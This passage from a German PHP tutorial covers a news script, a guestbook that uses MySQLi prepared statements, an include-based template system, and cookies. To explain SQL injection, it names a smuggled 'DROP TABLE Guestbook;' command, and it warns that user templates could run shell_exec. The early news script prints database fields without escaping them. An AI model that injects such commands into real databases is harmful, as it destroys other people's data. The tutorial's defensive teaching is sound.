// die MySQL-Daten entsprechend anpassen $db = @new MySQLi('localhost', 'username', 'pass', 'dbname'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error()); // ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung }
include 'header.html'; // DOCTYPE, <html>, <head>, und was dazugehört // inclusive den <body>-Tag $sql = 'SELECT Titel, Datum, Inhalt FROM News ORDER BY Datum DESC'; // "ORDER BY" damit die Datensätze nach der Datumsspalte sortiert werden, absteigend
$result = $db->query($sql); if (!$result) { die ('Konnte den Folgenden Query nicht senden: '.$sql."<br />\nFehlermeldung: ".$db->error); } if (!$result->num_rows) { echo '<p class="info">Es sind keine Newsbeiträge vorhanden</p>'; } else { while ($row = $result->fetch_assoc()) { echo '<h1>'.$row['Titel']."</h1>\n"; echo '<h2>'.$row['Datum']."</h2>\n"; echo '<p>'.$row['Inhalt']."</p>\n"; } } include 'footer.html'; // </body>, </html> und vielleicht noch irgendwelche copyright notes ?>
Somit ist unser einfaches Newsskript fertig.
4. Nachteile vom Newsskript
Im Moment können wir nur neue Newsbeiträge hinzufügen indem wir in der Datenbank
selbst arbeiten. Dies können wir entsprechend wie gewohnt über phpMyAdmin machen.
Dabei wählen wir einfach Insert und geben die Daten für den neuen
Datensatz ein. Die ID-Spalte lassen wir leer und für
die Datum-Spalte wählen wir die Funktion NOW() aus der
Dropdown-Liste. Somit müssen wir also immer in phpMyAdmin um die Newsbeiträge zu
bearbeiten, ganz zu schweigen von fehlenden Kommentarfunktionen für Besucher.
Aber wie gesagt, es ist nur eine einfache Implementierung eines Newsskripts.
Ein Gästebuch ist vergleichbar mit einem Newsskript nur dass die Beiträge
von den Benutzern kommen, nicht vom Administrator der Seite. Jedoch liegen
auch hier die Probleme denn die Benutzer können jeden Text eingeben den sie
wollen. Dies kann dazu führen das in den Gästebucheinträgen Texte stehen die
man lieber nicht haben möchte. Daher müssen alle Eingaben die vom Benutzer
kommen geprüft werden. Des Weiteren muss man sich auch gegen Spam schützen.
2. Aufbaue der Tabelle in MySQL
Die Tabelle in MySQL wird einen vergleichbaren Aufbau wie die News-Tabelle haben.
Neben den eigentlichen Text wird der Name und das Datum gespeichert.
Daher wird die Tabelle 4 Spalten besitzen.
ID - Die normale Identifikationsspalte vom Typ INT.
Datum - Der Zeitpunkt wann der Eintrag hinzugefügt wurde. Typ
ist entsprechend DATETIME.
Autor - Der Name desjenigen der den Eintrag geschrieben hat.
Ein VARCHAR(50) wird wohl reichen.
Inhalt - Der eigentliche Text des Eintrags. Dieser wird
entsprechend in einem TEXT-Feld gespeichert.
Der entsprechende SQL-Query sieht wie folgt aus.
CREATE TABLE Guestbook (
ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Autor VARCHAR(50) NOT NULL,
Datum DATETIME NOT NULL,
Inhalt TEXT NOT NULL
);
Analog kann man auch über phpMyAdmin die Tabelle hinzufügen.
3. Aufbau des PHP-Skriptes
Das PHP-Skript vom Gästebuch muss zwei Aufgaben durchführen. Einmal muss es aus der
Datenbank die Datensätze auslesen. Des Weiteren muss es Daten aus einem Formular
verarbeiten und entsprechend neue Datensätze in die Datenbank eintragen. Dies
unterscheiden wir anhand der $_SERVER['REQUEST_METHOD']-Variable.
Bei einem POST-Request versuchen wir die Daten aus dem
Formular in die Datenbank hinzuzufügen, bei allen anderen Requesttypen (insbesondere
GET-Requests) zeigen wir das Gästebuch und ein Formular für neue
Gästebucheinträge an.
if ('POST' == $_SERVER['REQUEST_METHOD']) { // Code zum hinzufügen in der DB } else { // Anzeigen von Gästebuchbeiträgen und dem Formular. } ?>
Da wir natürlich mit MySQL arbeiten wollen bauen wir eine Verbindung zur Datenbank auf.
Außerdem laden wir noch HTML-Header- und HTML-Footer-Code via include
oder besser via readfile.
$db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); }
readfile('header.html'); // enthält auch das <body>-tag
if ('POST' == $_SERVER['REQUEST_METHOD']) { // Code zum hinzufügen in der DB } else { // Anzeigen von Gästebuchbeiträgen und dem Formular. }
readfile('footer.html'); ?>
Nun können wir mit den Teilbereichen anfangen.
4. Code zum Anzeigen der Beiträge
Der PHP-Code zum Anzeigen der Beiträge ist vergleichbar mit dem Code aus dem Newsskript. Daher gibt es nicht
viel zu erklären.
<?php // [...]
} else { $sql = 'SELECT Datum, Autor, Inhalt FROM Guestbook ORDER BY Datum DESC'; $result = $db->query($sql); if (!$result) { die('Der Query konnte nicht ausgeführt werden: '.$db->error); } if ($result->num_rows) { while ($row = $result->fetch_assoc()) { echo '<div class="beitrag">'."\n"; echo ' <span class="autor">'.htmlspecialchars($row['Autor'])."</span>\n"; echo ' <span class="datum">'.$row['Datum']."</span>\n"; echo " <p>\n"; echo nl2br(htmlspecialchars(preg_replace('~\S{30}~', '\0 ', $row['Inhalt']))); echo " </p>\n"; echo "</div>\n"; } } else { echo '<p class="info">Es sind keine Gästebucheinträge vorhanden</p>'; } readfile('formular.html'); }
// [...] ?>
Die Funktion htmlspecialchars dient dazu besondere HTML-Zeichen wie
< zu escapen damit sie als Text angezeigt werden und nicht
irgendwie unseren HTML-Code durcheinander bringen. Dies ist nötig da die Daten
von Benutzer kommen und die sehr kreativ sind wenn es darum geht ein Gästebuch mit
Müll zu füllen. Die Funktion nl2br fügt hinter jedem Zeilenumbruch im
Beitrag ein HTML-Zeilenumbruch <br /> ein. Dies ist nötig da
der Text in der Datenbank nur normale Zeilenumbrüche mittels \n
enthält. Der preg_replace-Ausdruck ist nicht einfach zu erklären
da er ein regulären Ausdruck enthält. Reguläre
Ausdrücke wird jedoch erst in einem späteren Kapitel durchgenommen.
Um es kurz zu machen: dieser preg_replace Ausdruck fügt in Wörter
die länger als 30 Zeichen sind hinter jedem 30. Zeichen ein Leerzeichen ein. Damit verhindern
wir dass Spaßvögel sowas wie AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... eingeben
und die Internetseite unnötig breit machen.
Die formular.html-Datei enthält den Code für ein Formular damit die
Besucher etwas ins Gästebuch schreiben können.
Wie man sieht gehen wir davon aus dass das Gästebuch unter der Datei
guestbook.php erreichbar ist. Der Bereich
{FRAGE} dient dazu Spam im Gästebuch zu verhindern,
dazu später mehr.
Es ist klar dass das Gästebuch noch leer ist und wir beim testen nur die
Anzeige Es sind keine Gästebucheinträge vorhanden bekommen.
Daher nun der Code zum hinzufügen von Beiträgen.
5. Code zum hinzufügen von neuen Beiträgen
Aus dem Formular kriegen wir die Felder Autor, Inhalt,
Antwort und formaction. Daher prüfen wir zuerst ob wir
diese Daten auch wirklich bekommen, denn es könnte sein dass ein Benutzer ein
eigenes Formular verwendet.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } } else {
// [...] ?>
Nun machen wir einfache Textabfragen indem wir gucken ob der Benutzer überhaupt
was eingegeben hat. Dazu verwenden wir einmal die Funktion trim um
Leerzeichen vor und nach der Eingabe zu löschen und vergleichen den Rückgabewert
mit '' und wissen dann ob was eingegeben wurde oder nicht.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } } else {
// [...] ?>
Nun prüfen wir das Antwort-Feld. Dabei erwarten wir eine bestimmte Antwort von dem
Benutzer. Der {FRAGE}-Teil in dem Formular muss entsprechend geändert
werden. Dies ist vergleichbar mit einem
CAPTCHA jedoch viel
simpler. Anhand dieser Eingabe schließen wir Spam-Bots aus die Gästebücher mit
Müll zuspammen. Hier reicht es wenn man nach einen einzelnen Wort fragt, dass
der Benutzer eintragen soll.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } if ('' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular die ('Sie müssen die Frage richtig beantworten.'); } } else {
// [...] ?>
Beachtet dass man den Besuchern nicht zu viel abverlangt, insbesondere
Groß- und Kleinschreibungen. Für den Fall dass man dann doch Spam im
Gästebuch hat hat man ganz andere Probleme als Spam im Gästebuch, denn dann
hat jemand speziell ein Skript geschrieben um genau dieses Gästebuch
zuzuspammen und dann ist es etwas persönliches gegen euch und hat
nichts mehr mit dem Hintergrundrauschen von Spam im Internet zu tun.
Nun können wir die Daten in die Datenbank speichern. Am einfachsten wäre es
den INSERT-Befehl mit Stringverkettung aus Strings
und den Variablen zusammenzubauen. Dies wird problematisch da die Variablen
beliebigen Inhalt haben können, insbesondere '-Zeichen die den
SQL-Query kaputt machen. Dies nennt man auch
SQL-Injection,
da die Besucher auch versuchen SQL-Befehle wie DROP TABLE Guestbook;
einzuschleusen. Daher muss man die Daten irgendwie verändern/schützen.
In der mysql-Extension wurde dies mit der
mysql_real_escape_string-Funktion gemacht.
In MySQLi verwenden wir dafür Prepared Statements.
Dies sind SQL-Queries die Platzhalter enthalten (einfache ?-Zeichen).
Durch entsprechende Funktionen werden diese Platzhalter dann mit Werten gefüllt.
Diese Funktionen sorgen dann dafür dass die Inhalte entsprechend verarbeitet werden
damit sie keinen Unsinn anstellen und den SQL-Query nicht zerstören.
Um so ein prepared statement zu erstellen wird die Methode
prepare() verwendet (mysqli_prepare). Dabei geben
?-Zeichen die Platzhalter an, die wir dann später mit Daten füllen.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } if ('' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular die ('Sie müssen die Frage richtig beantworten.'); } $sql = 'INSERT INTO Guestbook(Autor, Datum, Inhalt) VALUES (?, NOW(), ?)'; $stmt = $db->prepare($sql); if (!$stmt) { die ('Es konnte kein SQL-Query vorbereitet werden: '.$db->error); } } else {
// [...] ?>
Da auch ein prepare() fehlschlagen kann müssen wir ihn
auf Fehler überprüfen. Die Methode liefert wenn alles gut ist ein
MySQLi_STMT-Objekt zurück, mit denen wir dann arbeiten.
Für unsere Zwecke sind dies die bind_param()- und
execute()-Methoden.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } if ('' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular die ('Sie müssen die Frage richtig beantworten.'); } $sql = 'INSERT INTO Guestbook(Autor, Datum, Inhalt) VALUES (?, NOW(), ?)'; $stmt = $db->prepare($sql); if (!$stmt) { die ('Es konnte kein SQL-Query vorbereitet werden: '.$db->error); } $stmt->bind_param('ss', $autor, $inhalt); if (!$stmt->execute()) { die ('Query konnte nicht ausgeführt werden: '.$stmt->error); } echo '<p class="info">Gästebucheintrag hinzugefügt. <a href="guestbook.php">Zurück zum Gästebuch</a>.</p>'; } else {
// [...] ?>
Die zwei s-Zeichen geben an das 2 Strings Variablen folgen (für die Spalten
Autor und Inhalt). Für die Methode bind_param()
existieren noch die Zeichen i für Integerzahlen, d für
Floatzahlen (double) und b für Binärdaten. Wir werden Hauptsächlich
nur i und s verwenden. Danach wird mit der execute()-Methode
der Query ausgeführt und dann geben wir nur noch ein Infotext aus. Da
auch die execute()-Methode fehlschlagen kann wird hier der Rückgabewert
geprüft. Ist dieser false wird entsprechend eine Fehlermeldung ausgegeben.
Beim Testen kann es passieren dass wir einen Webserver mit magic quotes
haben. Da wir selber uns um das richtige escapen kümmern laden wir in unserem PHP-Skript
den Code der die Backslashes von magic quotes löscht. Dies machen
wir so weit oben wie möglich.
include 'magic_quotes_remove_slashes.php'; // oder wie man seine Datei genannt hat // oder den Quellcode direkt einfügen.
// [...] ?>
Somit ist unser Skript nun fertig.
6. Nachteile vom Gästebuch-Skript
Auch wenn es viele Angriff abwehrt ist es nicht total sicher. Insbesondere kann ein
Benutzer mehrere Gästebucheinträge auf einmal hinzufügen. Dies kann man versuchen zu unterbinden
wenn die IP-Adresse mitgespeichert wird und vorm Eintragen geprüft wird ob ein Datensatz
bereits existiert oder nicht. Außerdem fehlt eine Blätterfunktion und alle Einträge werden
auf einer Seite dargestellt.
Bei einem Browsergame handelt es sich um ein Spiel welches
meist mit PHP geschrieben ist und im Browser gespielt wird. Inhaltlich geht es
dabei meist um Weltraumsimulationen oder Aufbauspiele. Es gibt Hunderte solcher
Spiele, einige haben sogar Artikel in der wikipedia. Und weil es so viele Spiele
gibt werden wir hier kein neues Browsergame entwickeln.
Bei einem Templatesystem versucht man den Bereich im PHP-Skript der für die
Ausgabe zuständig ist von dem Teil des Skripts zu trennen der für den Rest
zuständig ist. Dies entspricht in etwa dem einem
Model View
Controller. Die Bereiche für die Ausgabe werden dabei in extra Dateien
ausgelagert. Solche Dateien werden dann Templates genannt. Mit so
einer Trennung ist es viel einfacher die Ausgabe eines Skriptes zu verändern.
Es wird nur die entsprechende Template-Datei bearbeitet, der Skript-Teil der
für das Holen der Daten für das Template zuständig ist bleibt dabei unberührt.
So kann z.B. ein Webdesigner die Template-Dateien nach seinen HTML- und CSS-Wissen
bearbeiten ohne zu Wissen wie die Daten aus einer MySQL-Datenbank ausgelesen werden.
2. Templatesysteme in PHP
Im Internet gibt es genügend Templatesystem für PHP. Alle haben ihre Vor- Und Nachteile,
bieten Features an die andere nicht haben, haben Sicherheitsaspekte die andere nicht
implementiert haben und verwenden eine Syntax die die anderen nicht benutzen. In den
meisten Fällen wird jedoch vergessen das PHP selbst bereits eine Templateengine
ist. PHP wurde so entwickelt dass es zwischen HTML-Code verwendet werden kann, daher
auch die PHP Start- und Endtags <?php und ?>. Deswegen
verwenden wir hier PHP als Templatesystem indem wir unseren Programmcode entsprechend
strukturieren und include-Anweisungen verwenden.
3. Eigenes Templatesystem schreiben
Mit include-Anweisungen können wir andere PHP-Dateien in das aktuelle
Skript laden und ausführen. Diese Technik verwenden wir für unsere Templates. Die
Template-Dateien laden wir dann mit so einer include-Anweisung. Daher
können wir in den Template-Dateien PHP-Code verwenden um diverse Variablen ausgeben.
Dies heißt aber auch dass wir keine User-Templates laden können bzw. sollten.
Wenn wir nun ein System schreiben für ein großes Projekt und für die User
eigene Templates anbieten so können sie zwar ganz normal die Variablen ausgeben, aber
eben auch beliebigen PHP-Code wie z.B. shell_exec oder
mail ausführen. Daher sollten nur die Webautoren Zugriff auf die Templates haben.
Unser Templatesystem wird von der Startdatei index.php verarbeitet. Wie bei
allen Projekten wird das Error-Reporting hochgeschraubt und diverse Funktionen, Klassen und
Variablen geladen.
include 'functions.php'; include 'classes.php'; include 'variables.php'; ?>
Nun benutzen wir die GET-Variable section für ein Array-Include.
Dabei speichern wir in dem Array $dateien alle mögliche Dateinamen die
durch ein include geladen werden können. Der Index eines Arrayelements gibt an
bei welchem Wert von $_GET['section'] die Datei geladen wird.
<?php // zum Beispiel in der variables.php angelegt $dateien = array(); $dateien['news'] = 'news.php'; $dateien['forum'] = 'forum.php'; $dateien['downloads'] = 'dl.php'; // ... ?>
Mit isset und file_exists wird nun überprüft ob die
entsprechenden Variablen, Arrayelemente und include-Dateien existieren, die dann
auch mit include geladen wird.
<?php $ret = 1; // speichert den rückgabewert von include, standardwert 1 if (isset($_GET['section'], $dateien[$_GET['section']])) { if (file_exists('includes/'.$dateien[$_GET['section']])) { $ret = include 'includes/'.$dateien[$_GET['section']]; } else { $ret = "Include-Datei konnte nicht geladen werden: 'includes/".$dateien[$_GET['section']]."'"; } } else { // default bereich laden, news $ret = include 'includes/'.$dateien['news']; } ?>
Einmal sehen wir das hier eine Variable $ret verwendet wird. Sie enthält den
Rückgabewert der include-Anweisung. Des Weiteren enthält es einige
Abfragen ob bestimmte Arrayindizes oder Dateien existieren. Wenn dies nicht der Fall ist
so wird der Standardbereich geladen, in diesem Fall ein Newsskript.
Für unsere Include-Dateien definieren wir nun wie der Rückgabewert aussehen muss. Im
Normalfall soll die Include-Datei ein assoziatives Array zurückliefern. Das Element mit dem
Index filename gibt dabei den Dateinamen vom Template an, was dieses
Skript laden möchte. Das Element mit dem Index data ist ein Array und enthält
die Daten die im Template verwendet werden können. Dort können dann z.B. die Newsbeiträge
gespeichert werden (nur die Daten, keine HTML-Codes). Im Falle eines Fehlers kann
die Include-Datei einen String zurückliefern. Dies wird dann als Fehlermeldung
interpretiert und soll vom Templatesystem entsprechend ausgegeben werden. Und zum
Schluss gibt es noch ein Fall dass die Include-Datei den Wert 1 zurückliefert.
Bei so einem Wert wurde einfach vergessen ein Array oder ein String zurückzuliefern da
im Skript keine return-Anweisung verwendet wurde. All diese Informationen
schreiben wir am Besten mit einem Kommentar in das Skript.
<?php $ret = 1; // speichert den rückgabewert von include, standardwert 1 /* * Die Include-Datei muss eine return Anweisung enthalten mit folgenden * Werten: * - Bei normaler Ausführung * Array('filename' => string, -- Dateiname vom Template * 'data' => Array()) -- Array mit Daten für das Template * - Bei einem Fehler * string -- Die Fehlermeldung die angezeigt werden soll. */ if (isset($_GET['section'], $dateien[$_GET['section']])) { // ... ?>
Somit weiß man auch was eigentlich programmiert wurde und andere Entwickler
können das System verstehen.
Nehmen wir an wir hätten nun solche Include-Dateien und müssen nun das richtige Template
ausgeben. Dafür verwenden wir diverse If-Abfragen um den Inhalt der $ret
Variable zu prüfen und die entsprechende Datei zu laden.
<?php if (is_array($ret) and isset($ret['filename'], $ret['data']) and is_string($ret['filename']) and is_array($ret['data'])) { // Gültiger return-Wert if (file_exists($file = 'templates/'.$ret['filename'])) { $data = $ret['data']; // speicher die Arraydaten in eine Variable $data // die dann im Template verwendet werden kann. include $file; } else { // Datei existiert nicht, eine Fehlermeldung anzeigen. $data = array(); $data['msg'] = 'Templatedatei "'.$file.'" ist nicht vorhanden.'; include 'templates/error.tpl'; } } else if (is_string($ret)) { // include-Datei lieferte eine String zurück, welches eine Fehlermeldung sein soll $data = array(); $data['msg'] = $ret; include 'templates/error.tpl'; } else if (1 === $ret) { // return-Anweisung wurde vergessen $data = array(); $data['msg'] = 'In der Include-Datei wurde die return Anweisung vergessen.'; include 'templates/error.tpl'; } else { // überhaupt ein ungültiger return-Wert $data = array(); $data['msg'] = 'Die Include-Datei hat einen ungültigen Wert zurückgeliefert.'; include 'templates/error.tpl'; } ?>
Je nach Rückgabewert wird eine entsprechende Templatedatei geladen.
Im Normalfall wird die Templatedatei geladen die im Returnwert vom der
Include-Datei angegeben wurde und im Fehlerfall wird, wie hier angegeben, die
templates/error.tpl-Datei geladen. Da in einem Fehlerfall
auch so eine Datei geladen werden kann wird diese nun mit dem folgendem
Inhalt erstellt.
Die Datei enthält einen PHP-Kommentar der beschreibt welche Daten
an die Templatedatei übergeben werden (mittels der Variable $data).
In diesem Fall nur ein Feld msg die die Fehlermeldung enthält.
Nun schreiben wir unsere Beispiel Include-Datei. Da das Newsskript der
Bereich ist der geladen wird wenn ein ungültige Bereich gewählt wurde
schreiben wir nun diesen Bereich. Dieses Kapitel behandelt jedoch nicht
wie ein Newsskript erstellt wird, daher benutzen wir Pseudo-Daten.
// Newsdaten irgendwie aus einer Datenbank holen if (false) { // Falls ein Datenbankfehler auftrat, kann hier nur simuliert werden, deswegen if (false) return "Es trat ein Fehler in der Datenbank auf: ..."; }
$news = array();
// Array mit Newsbeiträgen füllen (normalerweise aus der Datenbank) $newsbeitrag = array(); $newsbeitrag['Titel'] = 'Neue Homepage'; $newsbeitrag['Datum'] = '2008-01-01 00:00:00'; $newsbeitrag['Inhalt'] = 'Pünktlich zum Neujahr starten wir mit einer neuen Homepage.'; $news[] = $newsbeitrag;
$a['data']['news'] = $news;
return $a; // nicht Vergessen, sonst enthält $ret nur den Wert int(1) ?>
Zu beachten ist das hier je nach Situation ein String oder ein Array zurückgeliefert wird.
Dies ist auch die Idee mit den unterschiedlichen Rückgabetypen. Bei einem
Fehler kann einfach der Ausdruck return 'Fehlertext'; verwendet werden.
Im anderen Fall wird das vorher definierte Array zurückgeliefert.
Da dieses Skript eine Template-Datei news.tpl laden möchten
erstellen wir nun eine solche Datei, die dann die Newsbeiträge anzeigt.
<?php /* * Daten: * 'news' -- Array mit Newsbeiträgen mit folgendem Aufbau * Array( * 'Titel', -- Der Titel der News * 'Datum', -- Erstelldatum * 'Inhalt' -- Inhalt der News * ) */ ?> <?php if (count($data['news'])) { ?> <?php foreach ($data['news'] as $beitrag) { ?> <h2><?php echo htmlspecialchars($beitrag['Titel']); ?></h2> <p class="beitrag"> <span>Geschrieben am <?php echo htmlspecialchars($beitrag['Datum']); ?></span>: <?php echo htmlspecialchars($beitrag['Inhalt']); ?> </p> <?php } ?> <?php } else { ?> <p class="info"> Es sind keine News vorhanden </p> <?php } ?>
Am Anfang sieht man wieder einen informellen Kommentar wie das $data-Array
aufgebaut ist. Dann folgt das eigentliche Template. Wie man sieht wechselt man hier immer
zwischen PHP- und HTML-Modus. Der PHP-Teil dient entsprechend nur dem Programmfluss und
den Ausgeben der Variablen. Der HTML-Code bestimmt dann entsprechend die HTML-Struktur.
Ein Template-Entwickler muss also nicht komplett PHP lernen, er muss nur Wissen
dass er für die Ausgabe immer <?php echo ... ?> schreiben muss.
Er sieht diesen Code dann als Platzhalter und so ersetzt auch PHP diese Platzhalter
mit den Werten, in diesem Fall aus dem Array.
Neben den Bereich der angezeigt werden soll fehlt noch die komplette HTML-Struktur.
Die wird genauso vor und nach dem Laden des Templates mit include geladen.
Die komplette index.php sieht dann wie folgt aus.
include 'functions.php'; include 'classes.php'; include 'variables.php';
$ret = 1; // speichert den rückgabewert von include, standardwert 1 // Laden der Include-Datei /* * Die Include-Datei muss eine return Anweisung enthalten mit folgenden * Werten: * - Bei normaler Ausführung * Array('filename' => string, -- Dateiname vom Template * 'data' => Array()) -- Array mit Daten für das Template * - Bei einem Fehler * string -- Die Fehlermeldung die angezeigt werden soll. */ if (isset($_GET['section'], $dateien[$_GET['section']])) { if (file_exists('includes/'.$dateien[$_GET['section']])) { $ret = include 'includes/'.$dateien[$_GET['section']]; } else { $ret = "Include-Datei konnte nicht geladen werden: 'includes/".$dateien[$_GET['section']]."'"; } } else { // default bereich laden, news $ret = include 'includes/'.$dateien['news']; }
// Laden des HTML-Kopfs include 'templates/html_header.tpl'; // Doctype, <html>, <head>, <meta> kram include 'templates/html_body_tag.tpl'; // Analog auch einfach echo "<body>"; include 'templates/menu.tpl'; // falls man z.B. ein Menu haben möchte
// Laden der Template-Datei if (is_array($ret) and isset($ret['filename'], $ret['data']) and is_string($ret['filename']) and is_array($ret['data'])) { // Gültige Include-Datei if (file_exists($file = 'templates/'.$ret['filename'])) { $data = $ret['data']; // speicher die Arraydaten in eine Variable $data // die dann im Template verwendet werden kann. include $file; } else { $data['msg'] = 'Templatedatei "'.$file.'" ist nicht vorhanden.'; include 'templates/error.tpl'; } } else if (is_string($ret)) { // Fehlermeldung $data['msg'] = $ret; include 'templates/error.tpl'; } else if (1 === $ret) { // return wurde vergessen $data['msg'] = 'In der Include-Datei wurde die return Anweisung vergessen.'; include 'templates/error.tpl'; } else { // ein Ungültiger Return wert $data['msg'] = 'Die Include-Datei hat einen ungültigen Wert zurückgeliefert.'; include 'templates/error.tpl'; }
// HTML footer laden include 'templates/html_footer.tpl'; // Zeug wie </body> und </html> ?>
Nun fehlen die diversen HTML-Dateien, aber die können nach den eigenen Wünschen geschrieben
werden. Wenn nun ein neuer Bereich hinzugefügt werden soll geht man wie folgt vor.
Es wird eine Template-Datei angelegt. Sie enthält ganz oben einen Kommentar
damit jeder weiß welche Variablen bzw. Werte in dieses Template
übergeben wird. Anhand dieser Information kann dann das eigentliche
Template geschrieben werden.
Es wird eine Include-Datei angelegt. Diese erstellt dann ein Array
für den Dateinamen und die Daten, füllt den Datenbereich und liefert dann
entweder ein String für eine Fehlermeldung zurück (z.B. "Geben sie eine
Emailadresse ein") oder das Array mit der die Template-Datei geladen werden soll.
Das $section Array muss entsprechend erweitert werden dass nun auch
die Include-Datei geladen werden kann.
4. Vor- und Nachteile dieses Templatesystems
Wie beschrieben kann dieses Templatesystem nicht für ungeprüfte Templatedaten wie Usertemplates
verwendet werden. Die Sicherheit ist nicht gewährleistet dass die Benutzer auch nur
das echo-Sprachkonstrukt verwenden. Vorteilhaft ist jedoch dass die Ausgabe
etwas verzögert ist. Dies mag schlecht klingen jedoch ist es somit möglich ohne Probleme
noch die Header-Angaben zu verändern, was mit den Funktionen session_start,
header und setcookie entsprechend möglich ist.
Als Cookies werden Textzeilen bezeichnet die der Browser zusätzlich zu einer Anfrage
an den Server schickt. Diese Textzeilen sehen dabei wie Zuweisungen aus, ein Beispiel
wäre UserID=10. Hierbei spricht man davon dass der Cookie UserID
den Wert 10 hat. Des Weiteren haben Cookies ein Haltbarkeitsdatum,
welches angibt wie lange ein Cookie beim Client gespeichert werden soll. Wenn kein
Zeitpunkt zum Löschen angegeben wurde wird ein Cookie automatisch beim Beenden des
Browsers gelöscht.
Jeder Browser entscheidet selbst anhand seiner Einstellungen wie und wie lange Cookies
gespeichert werden und ob. Das Verhalten kann entsprechend auch nicht von einem
PHP-Skript verändert werden. Wenn ein PHP-Skript ein Cookie zum Client sendet ist
nicht sichergestellt dass dieser den Cookie auch wirklich speichert. Erst beim
nächsten Aufruf eines Skriptes (neuladen, link folgen, url eingeben, etc.) kann
überprüft werden ob der Client/Browser den Cookie gespeichert hat oder nicht,
nämlich ob er den Cookie den er gespeichert hat zum Server gesendet hat oder nicht.
2. Erzeugen von Cookies
Cookies werden in PHP mit der Funktion setcookie erzeugt. Diese Funktion
ergänzt dabei die Header-Angaben. Dies bedeutet das Cookies nur dann
gesendet werden können wenn vorher keine Ausgabe vorhanden ist, wie z.B.
echo oder HTML-Code. Der erste Parameter ist der Name des Cookies,
der zweite Parameter ist der Wert.
<?php setcookie("UserID", "10"); ?>
So ein Cookie bleibt so lange beim Client gespeichert bis der Browser geschlossen wird.
Wenn ein Cookie länger gespeichert bleiben soll muss der Zeitpunkt des löschens
explizit angegeben werden.
Cookies die der Client zum Browser schickt werden im Array $_COOKIE
gespeichert. Der Schlüssel ist der Name vom Cookie und der Wert des Arrayelements
ist der Wert des Cookies. Aus der Cookie-Zeile UserID=5 wird
somit $_COOKIE['UserID'] = '5'. Die Werte sind dabei entweder
Strings oder Arrays.
<?php // bei einem Cookie "Foo=Bar" var_dump($_COOKIE['Foo']); // gibt string(3) "Bar" aus
// bei folgenden Cookies: // "Bla[]=10" // "Bla[]=x" var_dump($_COOKIE['Bla']); // Ausgabe ist: // array(2) { // [0] => // string(2) "10" // [1] => // string(1) "x" // } ?>
Cookies können nur ausgelesen werden wenn der Browser diese sendet. Dies
bedeutet auch dass ein Cookie nicht direkt im Array $_COOKIE
vorhanden ist, nachdem die setcookie-Funktion aufgerufen wurde.
<?php setcookie("Name", "Wert"); echo $_COOKIE['Name']; // wird nicht klappen (es sei denn ein solcher Cookie wurde bereits vom Client gesendet) ?>
Ein setcookie-Aufruf sendet die Anforderung an dem Client
ein Cookie zu speichern, daher kann das $_COOKIE-Array nicht direkt mit
diesem Cookie gefüllt sein. Dafür müsste der Browser eine Zeitreise machen und seine
Anfrage zum Server ändern damit auch dieser Cookie mitgesendet wird.
Um zu gucken ob überhaupt ein Cookie gesendet wurde kann die Funktion
isset verwendet werden. Erst nach der Überprüfung sollte
auf ein Cookiewert zugegriffen werden um Fehlermeldungen zu vermeiden.
4. Löschen eines Cookies
In PHP gibt es keine spezielle Funktion um ein Cookie zu löschen, daher wird
für diesen Zweck auch die Funktion setcookie verwendet. Damit ein
Cookie gelöscht wird setzt man das Haltbarkeitsdatum auf einen
Punkt in der Vergangenheit. Sicherheitshalber sollte man den Wert selbst auf einen
ungültigen Wert setzen, wie z.B. ein leerer String.
<?php setcookie("Name", "", time()-60*60*24); ?>
5. Gefahren von Außen
Da Cookies beim Client gespeichert sind und somit außerhalb der Gewalt
der PHP-Skripte liegen darf solchen Werten nicht vertraut werden. Ein Cookie
login=1 sollte daher z.B. nicht reichen in ein gesichertes
System zu kommen. Des Weiteren sollte nicht auf gültige Werte vertraut werden.
Ein Wert der z.B. eine Zahl sein sollte muss auch darauf geprüft werden.
Neben Kontrollflußstrukturen und Variablen bestehen PHP-Skripte auch aus Funktionsaufrufen.
Wenn gleicher Programmcode häufig ausgeführt wird wird dieser Programmcode in einer
Funktion ausgelagert. Statt also jedesmal den gleichen Code zu haben ruft man an
den entsprechenden Stellen nur noch die Funktion auf, die dann die eigentliche
